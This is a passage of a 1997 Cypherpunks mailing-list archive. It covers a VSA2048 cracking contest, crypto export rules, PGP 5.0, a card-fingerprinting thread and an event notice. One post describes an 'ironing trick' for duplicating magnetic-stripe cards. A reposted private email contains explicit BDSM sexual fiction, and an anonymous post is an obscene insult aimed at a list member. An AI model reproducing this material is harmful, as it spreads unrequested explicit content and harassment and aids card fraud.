http://www.dataet.com/public/source/vsacmv20/breakit.dat >>

It's "crackit.dat". Sorry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sun, 18 May 1997 02:06:08 +0800
To: cypherpunks@algebra.com
Subject: Re: Just Say "No" to Congress - authority v.s. power
In-Reply-To: <Pine.SUN.3.91.970516230840.24291E-100000@beast.brainlink.com>
Message-ID: <97May17.134933edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 May 1997, Vladimir Z. Nuri wrote:

> anyone who disbelieves in the authority of the US government
> yet sends them their tax money is a hypocrite.

They just want their own federal reserve notes back - Render unto
Caesar... But to the original point:

Then so is anyone who gives money to an armed robber who offers the
alternatives of payment or bodily harm.  It is a voluntary decision to
give money to the robber instead of letting him remove it from your
corpse.  His weapon gives him power without authority, and you (or your
survivors) appeal to the legitimage authority of the police to address the
situation. 

China has a government.  Is everything it does to its citizens legitimate? 
If so, why - is it might makes right?  If not, what is unique about the US
government being a mixture of a little democracy and a lot of bureaucracy
that makes any act by any agent legitimate? 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sun, 18 May 1997 09:10:04 +0800
To: cypherpunks@toad.com
Subject: VSA2048 CRACKING CONTEST
Message-ID: <970517135403_2018739284@emout09.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Host: DataET Research (http://www.dataet.com)
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Encrypted (secured) file size: 836 bytes
Decrypted (unsecured) file size: 836 bytes
Hints: No message hints available
Key and message post location: cypherpunks@toad.com
Contact: info@dataet.com
Limitations: U.S. residents only
Prize: FREE basic Web site package & apology posted to cypherpunks@toad.com &
discontinuation of VSA2048-based products

CRACKIT.DAT file statistics:

Type: Binary (Intel)
Characters: 836
Mode: 179
Mean: 127
Median (middle character, no order): 3





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JKYuRamos@aol.com
Date: Sun, 18 May 1997 09:16:33 +0800
To: landon_dyer@wayfarer.com
Subject: Re: http://www.dataet.com/public/source/vsacmv20/
Message-ID: <970517140349_-962654051@emout04.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-05-16 20:58:27 EDT, you write:

<<   no insults or bashing, i promise
 
   the use of the built-in Random function looks scary.  my five minute
 overview of the code may have missed some cleverness (or i may have missed
 your own implementation of Random).  i am not a cryptographer, and can't
 comment much more on the actual encryption algorithms you're using
 
   from an engineering standpoint: i assume that you stripped the comments
 out before posting the source
 
   from a legal standpoint: you should probably yank the source code off
 of your site.  i am not a lawyer, but making this stuff downloadable from
 outside the US is risky >>

Hi. Sorry, actually, I regret that the code was developed with no inline
comments. Yes, you probably did skim over some essential code. Also, again,
the pseudo-random number generator is NOT the only method used to encrypt a
file. In fact, the pseudo-random number generator code could have been left
out to some extent. I have also specified that that no one who is not in the
U.S. may access the source code, but if no one cracks the file located at
http://www.dataet.com/public/source/vsacmv20/crackit.dat by June 20th, 1997,
I'll have to assume that VSA2048 is an extremely secure encryption algorithm,
and I will consider having the source code removed from the site.

Regards,

Jeremy Yu-Ramos
DataET Research

Host: DataET Research (http://www.dataet.com)
Contest expiration date: June 20th, 1997
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Encrypted (secured) file size: 836 bytes
Decrypted (unsecured) file size: 836 bytes
Hints: No message hints available
Key and message post location: cypherpunks@toad.com
Contact: info@dataet.com
Limitations: U.S. residents only
Prize: FREE basic Web site package & apology posted to cypherpunks@toad.com &
discontinuation of VSA2048-based products

CRACKIT.DAT file statistics:

Type: Binary (Intel)
Characters: 836
Mode: 179
Mean: 127
Median (middle character, no order): 3





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 18 May 1997 09:16:18 +0800
To: harka@nycmetro.com
Subject: Re: CC fingerprints
In-Reply-To: <199705170904.FAA29705@linux.nycmetro.com>
Message-ID: <199705171835.OAA23077@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


harka@nycmetro.com wrote:

| Their solution, called the Magneprint system, reads the millions of tiny
| magnetic particles, which are unique on each card, says Professor Ronald
| Indeck.
| Each magnetic stripe on the card has two important areas. The first looks
| like a bar code, which contains the account number. The rest is a random
| pattern of magnetic information -- a signature that is different on every
| card and impossible to duplicate, Indeck says.

	"Impossible to duplicate."  Perhaps he has never heard of the
ironing trick?  (You use an iron to heat one card in the proximity of
the other.  This breaks up the cohesion of the particles on the card
close to the iron.  The magnetic field in the other card causes the
particles to realign themselves as they cool.)

	I suspect that a conventional card reader won't duplicate the
other areas of the card.  But the duplicability of bits is a
fundamental fact. Thats why Chaum's original systems are online, and
safer than the smartcard system.  The smartcard based systems depend
on the cost of breaking behing higher than the payoff for criminals.
(Or the cost of breaking the smartcard based system as opposed to
breaking some other system.)

	A mag stripe card, with no defenses built in, can be
duplicated.  Are they offering prize money for beating thier system?
My only worry would be that they read finely enough that they notice
small deviations in the duplicate.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 18 May 1997 09:23:24 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: index.html
Message-ID: <199705172034.PAA02900@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain


    CNN logo 
   WORLD navbar 
   
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   World banner Alan Greenspan. Is he the man with the golden touch? 
   
     rule
     usa.nightmare --From Danish newspaper Ekstrabladet
     
                DENMARK: U.S. OFFICIALS OVER-REACTED OVER BABY
                                       
     
     
     May 17, 1997
     Web posted at: 1:33 p.m. EDT (1733 GMT) restaurant
     
     COPENHAGEN, Denmark (Reuter) -- Denmark's foreign minister said
     Saturday that a Danish mother had been foolish to leave her baby
     daughter outside a New York restaurant, but U.S. authorities who
     jailed her for two days had over-reacted.
     
     Danish newspapers ran front-page pictures of actress Annette
     Sorensen and 14-month-old daughter Liv after a New York City judge
     Friday dropped criminal charges against the mother.
     
     "USA Nightmare over - Free," Ekstrabladet's headline read."We Won,"
     crowed rival tabloid B.T. reunion
     
     Sorensen was jailed for two days last weekend and her baby put into
     foster care for four days. She had left Liv parked in a stroller
     outside a restaurant while she and the child's American father were
     having a drink and watching her through the window.
     
     "It was rash of the mother to leave her child in an American city.
     It is not clever but is perhaps excusable because she was not really
     aware of the danger," Foreign Minister Niels Helveg Petersen told
     B.T.
     
     "But the American authorities over-reacted because this was not a
     case of a mother who could be accused of neglecting her child, it's
     completely out of proportion," he added.
     
     Ekstrabladet quoted Sorensen, 30, as saying that she bore no
     animosity over the affair. denmark
     
     "I'm not quite myself again yet, but I am not bitter toward the
     United States (although) I honestly can't say if I will ever come
     back again," she told the paper, holding Liv in her arms, at a
     champagne celebration in New York's Danish Seamen's Church.
     
     Under terms of the deal reached before Judge Michael Gross by her
     attorney, the Manhattan District Attorney and the Danish Consulate,
     the criminal charges of endangering the welfare of a child were
     dismissed and the case will be closed for good in six months.
     
     "It is our belief that this was a clash of cultures and a lack of
     understanding," her attorney Todd Barnet said.
     
     The mother's lawyers said that she did not think twice about leaving
     the child outside the restaurant because it was common practice in
     Copenhagen.
     
     Sorensen still must appear in Family Court Wednesday but B.T. quoted
     a lawyer for the Danish Consulate in New York, Peter
     Hessellund-Jensen, as saying that he foresaw no problems.
     
     "I am convinced that the hearing is only a formality," he said.
     
     Sorensen's attorney says she has a plane ticket to leave the United
     States May 27. She had been in the country less than 48 hours when
     her daughter was taken from her.
     
     Copyright 1997 Reuters Limited. All rights reserved.  rule
     
  Related stories:
  
     * Charges against Danish mother effectively dropped - May 16, 1997
     * Women charged with leaving baby outside while dining in restaurant
       - May 13, 1997
     * New York returns baby to Danish mother - May 13, 1997
       
      rule Message Boards 
     
  Sound off on our message boards
  
     Tell us what you think!
     
     You said it... [INLINE] Alan Greenspan. Is he the man with the
     golden touch? rule
     
   
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   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 18 May 1997 09:18:25 +0800
To: cypherpunks@toad.com
Subject: DCSB: Fred Hapgood on the Internet as an Auction-Pricing Incubator
Message-ID: <v03020903afa3b44feaa4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

                 The Digital Commerce Society of Boston

                              Presents

                            Fred Hapgood

            "The Internet as an Auction-Pricing Incubator"



                        Tuesday, June 3, 1997
                              12 - 2 PM
                  The Downtown Harvard Club of Boston
                    One Federal Street, Boston, MA
                   Price, Including Luncheon: $30.00


The low transaction costs and interactivity of the internet are proving a
highly favorable incubator for auction pricing.  In April Yahoo reported
60+ sites supporting online auctions with more appearing every day. The
largest of these hosted more than 50,000 individual auctions (not
individual items) simultaneously and was growing at 25% a month.  Online
auction sites appear to be the only indigenous internet service that is a)
generating profits of any scale and b) respectable. Fred will describe how
these auctions work, some of their varieties, what they are selling,
analyze the online auction site as a business model, review recent
developments, and weigh the odds that online auctions will be associated
with changes of interest in the structure of the economy and the culture.

Fred Hapgood, <http://www.pobox.com/~hapgood>, is a free-lance writer based
in Boston. While he often writes about aspects of electronic commerce, that
being where the market is, he promises creditworthy clients an attentive
and positive hearing to any proposition legal in at least one jurisdiction.
Last year he spoke before the DCSB on franchising and the internet.

This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, June 3, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, May 31, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

July      Win Treese           TLS, Digital Commerce, and Export Issues
August    Duncan Frissell      MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 18 May 1997 09:27:31 +0800
To: cypherpunks@toad.com
Subject: From the orphan folder
In-Reply-To: <v01510109afa2380c5080@[139.57.144.207]>
Message-ID: <Vs8u7D24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sometimes one finds amazing stuff in the orphan folder.
What the heck is "industry.dm.com"?  All the boxes in
the dm.com domain have Russian names. Must be a typo.

Moral: use PGP.

>From ktinkler@spartan.ac.BrockU.CA  Fri May 16 16:15:33 1997
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Fri, 16 May 97 20:07:27 EDT
	for ktinkler@spartan.ac.BrockU.CA
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Date: Fri, 16 May 1997 16:14:31 -0400
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Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========================_19208278==_"
To: tartar@industry.dm.com
From: ktinkler@spartan.ac.BrockU.CA (Keith Tinkler)
Subject: trying your address



--========================_19208278==_
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

problem

I was sorry to lose you just as you were getting your clitoris out and into
view - I presume the network daemons got you? In any case I was going to
ask you to rub it hard to an orgasm while we were in dcc and thought about
the cyber caning I gave you and the real one I would like to give you. So,
I hope you took it upon yourself to do that anyway. What sort of cane was
it? - thick (less liable to break skin) - long - that your friend used? If
we meet ever - maybe I will write a story - have you read it as I described
- and cane you hard for infractions. After each stroke you will get a
minute to recover equilibrium - then its open season on your rump again
(you have no idea how perfectly delicious your bottom sounds to me!). Mind
you it isn't punishment for a masochist!!! But we would both enjoy it.

It was wonderful to discover someone as open and willing as you were -
there seem to be a number of closet masochists on the spanking channels!
but many are very prissy and don't want sex with their spanking - woe
betide you if you touch their privates - or even allude to them or the
aromas arising. Its hard to remember now - that I "took you" over from
Spandex... (or whatever his name was). I think you don't mind exhibitionism
either?

There is only room for one story in this email - I have found attachements
- even text ones - get garbled more and more these days. I'd rather dcc but
that fell through today. However, I have attached another text file - try
to open it and let me know if you can.

Critical

*********************
The lady is for caning

If you were here with me now this is what I'd do. After dark you'd strip in
the house. Slightly heeled sandals. Its a warm night. I'd walk you down
through the woods which compose most of our lot, 200 yards with a
flickering torch playing its narrow yellow beam on your pale nakedness, to
the path that runs by the river. We'd walk along that to a secluded glade
400 yards away. There is plenty of light from the urban lights reflected
from the clouds, and enough wind in the trees to swallow noises. Along the
way you would select a suitable willow from a fresh stand. Strip it with my
pocket knife. Test it for sound and flexibility. Pronouce it ideal. We
walk, I test it. I watch your nervous walk. Your bottom has a mind of its
own. Here we are. A fallen trunk, stripped bare of bark, a fitting match
for you. Tied to it. Along it. A long strap round the trunk and your waist.
Wrists bound above your head, along the trunk. Legs slightly apart, either
side of the trunk, tied to pegs already hammered in the ground. Bottom
pristine, pouch dampening, what a sight, what a precious moment of truth:
for you - the audacious submission of your body; - for me the enjoyment of
the fragile perfection of its contours. There is no hurry. The Lady is for
caning. Hard and slowly. Perhaps even harder, and even more slowly. But not
yet. I want to see you moving from the sheer thought of it. Of what is
coming. For long minutes I caress your torso, stroking with the cane.
Trailing the tip along the backbone. Teasing the cleft of your bottom,
between your legs, the insides of your thighs. .... Another time you will
strapped down on your back, with your legs wide, wide apart. Those adorable
inner thighs. Buts that to be another time, another time ... another place.
Back to work. I must touch you with my fingers. My finger indents the line
of a cane print across that round offering. Its drying. I rewet it. That is
where the first one will come. I whisper that. A conspiratorial whisper. A
secret between you and me. Perhaps you will be able to remember that. A
memorable place. The crease. Where lovers spank hardest lest lovers forget
the hardness of their love. You'll remember five in the crease. Each time
you sit. I mention this, another secret. In the next few days the heat will
get to you. The heat of the climate, the heat of the cane. You'll want to
sit and drink in the air conditioning. A short skimpy dress. No pants, no
bra. Proud nipples, stiff in the cool air. A blazing seat on cool vinyl
seats. Every move an echo of agony. I'm getting to you for I see you
squirming. Its a rhythm I recognize. The way the buttocks move. The
undulation. Someone is feeling sexy. Yes, my fingers wet. Smear it along
the crease. Remember the crease? Whats coming there? I ask you. You do
remember, I can see that. Good, good. Your memory was something that needed
working on. You didn't say as much, but I could see. And your aversion to
cock-sucking was another. But lets not get distracted. I can see you still
remember about the crease. It seems to interest you. Time to reinforce the
learning. No time like the present.
ONE....FIVE. All in the crease. Just one mark. That waist strap works well,
your waist is tight, your bottom mobile, very mobile and perfectly
tempting. And now ..... TEN ... FIFTEEN ... TWENTY ....and so on. Hard,
very hard. The wind carries the noises, various away (or are you better
trained now?) Well-spaced in time so the pain can build to a crescendo. And
you'll like the pattern, all over your bottom. Quite fussy about that
aren't you? You won't know the final count. You never do, do you? Not
unless I tell you. Quite right. I'd be at fault if you did. You're sobbing
just a little. Come, its over, sweet cane lover. I kiss the crests of your
printed cheeks and untie you. A pained walk, my arm round your bare waist.
Our other hands clasped tightly. Just a long minute along the crunchy path
I turn us about, pivoting on my left leg. I can feel you quivering with
real terror, quivering with the horror of anticipation as I walk you back
to that trunk. Astride it again. Tied just as tightly. This time your arms
down, tied underneath the trunk. Posterior blazing. Now it is about to
explode. I stroke the curves with the cane. Ripples of fire shiver that
taut derri=E8re. Do you remember the crease? Don't worry I shall remind you.
Splash. Some cooling water. And now, time for ignition. You know exactly
where. You haven't forgotten. ONE. A very satisfying shriek. AM I hard. I
walk round and show it to you. You don't like to suck cocks I remember. I
shouldn't dream of forcing you. I'm not like that. TWO. Ohhhh, the obvious
agony. Your pussy is wet, I can see the glistening outer folds. Your cheeks
are very splayed, it shows prettily, but those cheeks are full enough to
protect it. I get behind you and just touch the sopping lips with myself,
rubbing along the slot. My tip, the bulging hood, is soaking. I get off and
go round to show you. I know you're distracted. I tell you it is your own
juice. I think you know, but you ARE very distracted, eyes wet, your chest
heaving as well as it can against the old bare log. It must be rough on
those delicious B-cup globes I adore. A little squashed and aching I
imagine. Reminder time. THREE in the crease. And to be sure you remember,
=46OUR. I dip my chip again at leisure, a little deeper, and show it you
again. I AM very thoughtful. I believe I saw a flicker of interest.
Academic of course for you don't suck cocks. Your dip on my stick. The
things people do. But back to basics. You ARE such a purist - restraint, a
bare bottom, a hand-picked rattling cane, and the decisions left to me.
Back again to pain of the cane. FIVE. Your posterial agility in restraint
is amazing. The rising wind swallows your high pitched comments and cools
your bottom. SIX. Another very deep dip, and my you are hot inside. And
wet. I display it to you again. This time so close you could ... my
goodness you do!!! And I thought you didn't like ....? I love it of course,
and I soon show you I do. Ahh, that surprised you a little. If you are
nauseated it doesn't show. BUT I'm almost forgetting, I'd hate you to think
I was too distracted to provide your needs, SO, now thats over, back to
basics. SEVERAL MORE, slowly and frightenly crisp, because the Lady, what a
lady, IS for caning.
The cane lover is untied again. The long slow wobbly walk home, wet-eyed
and sobbing.  I'm tempted to take you back again, but I don't. Once more my
arm round your bare waist. Our other hands clasped tightly. For all the
world two lovers. One nude, very well-caned and weeping. A cyclist passes
in the gloom. A little surprised at your nudity I shouldn't wonder, but
she's past us so fast she'll just think we've fallen out. Up the slope. I
light your way flashing the torch up between your legs. We both know I'm
looking at your prints. Into the house. Onto the bed. Face down. Stiff
bolster under your hips. Ankles tied to a spread bar. Just to be sure. Your
worn leather sandals will do to re-chauff=E9e the cheeks. They may have
cooled down a little during the walk back. A few dozen really quickly while
I hold you hands together behind your back. First one cheek. Then the
other. Some final friendly ones across the crest. Squeals and more tears.
I expect you'll stay that way when I've untied your ankles! And now,
finally, my rod and comforter. Doesn't that feel good. All night long. My,
my, you aren't at all modest, are you, when you've taken? YOU'LL DO
ANYTHING! I do like that.




--========================_19208278==_
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MEfjcD@4PFL"dD'8JF'pcFfPLE'8JE@9ZG5i0$8NJDfPcFb"jEh8JCf9ZG'aj)'*
PG(GPC@iJH@peFL"LFQ9KFh4c,#"MGA"`D@jR)(4SC@dJG'pRCA4SCA)X)(4SC@i
J55"XC@&fC5"jEh8JG'mJe'4bCA0ce5"KEQ3JG'mJG'KTEQXZ)&P[G5"hEfl9G#"
QEh*RCA3JG'KP)'KTCfJJC'&bDb"LE(9P)(CPE(CPG#"MEfaXBA)r$3d0Sj!!!!!
"!!!!!3i!!!!1!!!!3P*[EQHTR%TIAX0%!aY$l+*`!bm!,`a1V4R#GJ"+&%r[%8&
LBA*cEfePGfKPFQ9849K8!J!!!&4&@&4dG(Kd!3!!!&4&@&4dG(Kd!3$rrrrr!!!
!!!!!!!!!!!!!!!!!!!!!VdbB(J!!3&-!!!&3F"`[!%kY$VTb!")!1d(T`(!B,`"
1V3kk5J"2l`!-CJj)EHBiF"m[!%kY'ET36dkkr44+,HbZC`JJ2!!!&i&J"L!m!!!
Cc#m!5'hXBNkY(QT`'#m!6Ud1ZNS!6qm!$'FHF"m[!%KYl%"1V4R#F$i[!%KYl#"
1V4R#6qm!%'!-F!![!!!!!!S!+!!$!33"m`$i!!!"!!!!!3i!!!!1!!!!3J%D96!
'r!!!!"`!-J!!8epA8!!!!!TE!3!!!!!!!!%D6b!29fPZC'ph)&"[FfPdD@pZm&J
!:


--========================_19208278==_--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 18 May 1997 09:28:26 +0800
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] Zero-knowledge interactive proofs
Message-ID: <199705180033.RAA26968@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim Mayflower's 16Kb brain's single convolution is directly wired to his 
rectum for input and his T1 mouth for output. That's 16K bits, not bytes. 
Anal intercourse has caused extensive brain damage.

        \|||/
        (o o)
    -ooO-(_)-Ooo- Tim Mayflower





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 18 May 1997 09:32:55 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
In-Reply-To: <3.0.2.32.19970517113906.03d96c30@mail.teleport.com>
Message-ID: <v03007801afa415f61c4a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:39 AM -0800 5/17/97, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its
>guts out when run.  (At least on my machine.)
>
>It looks like they have hired a new graphics artist.  The splash page looks
>interesting.  Nice if the rest would run...

More than that, did they decide to release the source code?

Last I heard, the answer was "of course not!!!!"

Why it is important that source code be released is left as an exercise.

If it isn't released....


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 18 May 1997 09:51:30 +0800
To: Yoav Yerushalmi <yoav@MIT.EDU>
Subject: Re: Distributing cryptographic code
In-Reply-To: <9705161836.AA28876@angreal.MIT.EDU>
Message-ID: <3.0.1.32.19970517183655.00867d60@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



This thread was booted from coderpunks, perhaps the interested parties will
continue it here. 

At 02:36 PM 5/16/97 EDT, Yoav Yerushalmi wrote:
[...]
>  I'm part of a research group here at MIT, and several groups here
>have written implementations of concepts and protocols that involve
>cryptography in one way or another (encryption/signing/voting, etc).
>
>  We would like to put this code up for distribution (within the US
>of course), but don't actually know what is a 'reasonable' amount of
>protection that one need apply to prevent people from exporting
>it to the rest of the world.

If I were you, I'd talk to the other folks at MIT distributing strong
crypto code, they've certainly had to think about/work on this problem.
Might as well ride on their coattails. 

Having said that, you might take a look at 15 CFR 734.2(b)(9)(ii) if you're
really feeling masochistic, which says that making software available via
the Internet such that it is available for transfer outside of the United
States is an export unless the person making the software available takes
certain precautions. The precautions are:

>>>>
    (A) Ensuring that the facility from which the software is available 
controls the access to and transfers of such software through such measures
as:
    (1) The access control system, either through automated means or 
human intervention, checks the address of every system requesting or 
receiving a transfer and verifies that such systems are located within 
the United States;
    (2) The access control system, provides every requesting or 
receiving party with notice that the transfer includes or would include 
cryptographic software subject to export controls under the Export 
Administration Act, and that anyone receiving such a transfer cannot 
export the software without a license; and
    (3) Every party requesting or receiving a transfer of such software 
must acknowledge affirmatively that he or she understands that the 
cryptographic software is subject to export controls under the Export 
Administration Act and that anyone receiving the transfer cannot export 
the software without a license; or
    (B) Taking other precautions, approved in writing by the Bureau of 
Export Administration, to prevent transfer of such software outside the 
U.S. without a license.
<<<<

The software publishers I'm familiar with who make strong crypto available
via the Internet in a commercial setting (Microsoft, Netscape, C2Net) do
reverse-DNS lookups on the requester to try to figure out whether or not
they're inside the United States. 

This is *not* an "official" answer, nor is it legal advice. The regulations
discussed above have been public for less than five months. I've spoken
with several attorneys who specialize in export control and they've all
commented that the regs were drafted quickly, without good attention to
detail, and are not necessarily models of clarity or precision. Nobody's
100% sure what they mean. 

Also, one person commented within the coderpunks thread:
>>>>
A disclaimer would be adeqate protection if I remember correctly.
I don`t recall what the situation is in the US, is it the case that
the provider of the information is guilty of export, or the person
that actually downloads it, if it is available via anonymous FTP???
<<<<

A disclaimer is not good enough. Both are potentially liable under US law
(modulo arguments about constitutionality, vagueness, etc). The downloader
is guilty of an illegal export, and the person who made the software
available is (using the definition in 15 CFR 734.2) guilty of an export,
and also has potential liability for conspiracy and/or aiding and abetting,
depending on the facts of the particular case. 

But a clerk in Egghead who sells a copy of 128-bit Netscape to a "foreign
person" is also guilty of an export violation. The interesting question is
whether or not the feds will choose to prosecute violators .. and which
ones. Internet crypto distribution sites have a much higher profile than
random minimum-wage clerks who wouldn't have violated the law if they'd had
any clue it existed. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sun, 18 May 1997 10:13:29 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: CC fingerprints
In-Reply-To: <199705171835.OAA23077@homeport.org>
Message-ID: <Pine.GSO.3.96.970517184723.19224A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 17 May 1997, Adam Shostack wrote:

> harka@nycmetro.com wrote:
> 
> | Their solution, called the Magneprint system, reads the millions of tiny
> | magnetic particles, which are unique on each card, says Professor Ronald
> | Indeck.
> | Each magnetic stripe on the card has two important areas. The first looks
> | like a bar code, which contains the account number. The rest is a random
> | pattern of magnetic information -- a signature that is different on every
> | card and impossible to duplicate, Indeck says.
> 
> 	"Impossible to duplicate."  Perhaps he has never heard of the
> ironing trick?  (You use an iron to heat one card in the proximity of
> the other.  This breaks up the cohesion of the particles on the card
> close to the iron.  The magnetic field in the other card causes the
> particles to realign themselves as they cool.)

I am currious how there new system responds to wear and tear on the card.
If it is as sensitive as they claim, I bet carrying the card around in
your pocket will bang the card up enough to make it show up as a
duplicate.

Sounds like an eventual article for Risks...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 18 May 1997 10:24:34 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [ADMINISTRATIVIUM] Zero-knowledge interactive proofs
In-Reply-To: <199705180033.RAA26968@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970517200509.28140A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Please can you stop this spam from your site.

On Sat, 17 May 1997, Huge Cajones Remailer wrote:

> Tim Mayflower's 16Kb brain's single convolution is directly wired to his 
> rectum for input and his T1 mouth for output. That's 16K bits, not bytes. 
> Anal intercourse has caused extensive brain damage.
> 
>         \|||/
>         (o o)
>     -ooO-(_)-Ooo- Tim Mayflower
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Sun, 18 May 1997 09:35:21 +0800
To: cypherpunks@manifold.algebra.com
Subject: [Fwd: ITAR / S 1726 / Civil Disobedience] (fwd)
Message-ID: <199705180121.UAA24753@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Toto -----

>From cpunks@manifold.algebra.com  Fri May 16 06:20:38 1997
Message-ID: <337C3D50.1B50@sk.sympatico.ca>
Date: Fri, 16 May 1997 04:56:16 -0600
From: Toto <toto@sk.sympatico.ca>
Reply-To: toto@sk.sympatico.ca
Organization: TOTO Enterprises
